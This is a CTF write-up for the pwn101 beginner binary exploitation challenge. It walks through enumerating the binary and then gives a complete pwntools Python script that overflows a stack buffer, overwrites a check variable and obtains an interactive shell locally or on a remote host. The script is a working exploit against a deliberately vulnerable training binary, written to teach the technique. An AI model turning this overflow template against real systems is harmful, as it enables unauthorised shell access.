Beginner level binary exploitation challenges.
Enumeration
We’re given a basic binary, based on the hint we’re given we can assume this is buffer overflow. We can start enumerating the binary. Let’s start with strings:
We see some of the potential outputs we can get from the binary, If we give the wrong input we get a message of “nah bruh you lied”. We can assume this is a condition we need to overcome. Let’s open this up on ghidra:
We need to overwrite the local_c variable using the content of local_48. We see this can store 60 characters before overflowing. Let’s check for any protection on the binary:
No Canary set on the stack does suggest potentional overflow (as well as the snippet above). Let’s check how the binary was compiled:
pwn101.pwn101: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=dd42eee3cfdffb116dfdaa750dbe4cc8af68cf43, not stripped
We already knew the file wasn’t stripped as we can see the strings inside from earlier, however it’s worth noting that this is a dynamically linked file and it was compiled using 64 architecture so that registries are 8 bytes.
Scripting
We need to make local_c not equal to 0x539 in order to get our shell, how do we go about doing this? Python modules such as pwn are a great way to locally and remotely interact with a binary:
import sys
from pwn import *
local = None
ip = None
port = None
binPath = None
## Overflow + location of variable to overwrite
def genPayload():
payload = b"A"*((0x40-0x4)+1)
return payload
def main():
## Generate payload
payload = genPayload()
## Set binary context + whether we're testing locally or remotely
context.binary = binary = binPath
if local is True:
p = process()
else:
p = remote(ip, port)
## Receive first line and reply with payload
p.recv()
p.sendline(payload)
p.interactive()
## Arguement management
if __name__ == "__main__":
if sys.argv[1].lower() == "remote":
if len(sys.argv) < 4:
print("Usage: " + sys.argv[0] + "remote <ip:port> </path/to/binary>")
exit()
ip,port = sys.argv[2].split(":")
binPath = sys.argv[3]
else:
if len(sys.argv) < 3:
print("Usage: " + sys.argv[0] + "local </path/to/binary>")
exit()
binPath = sys.argv[2]
local = True
main()
We run the script and get our shell: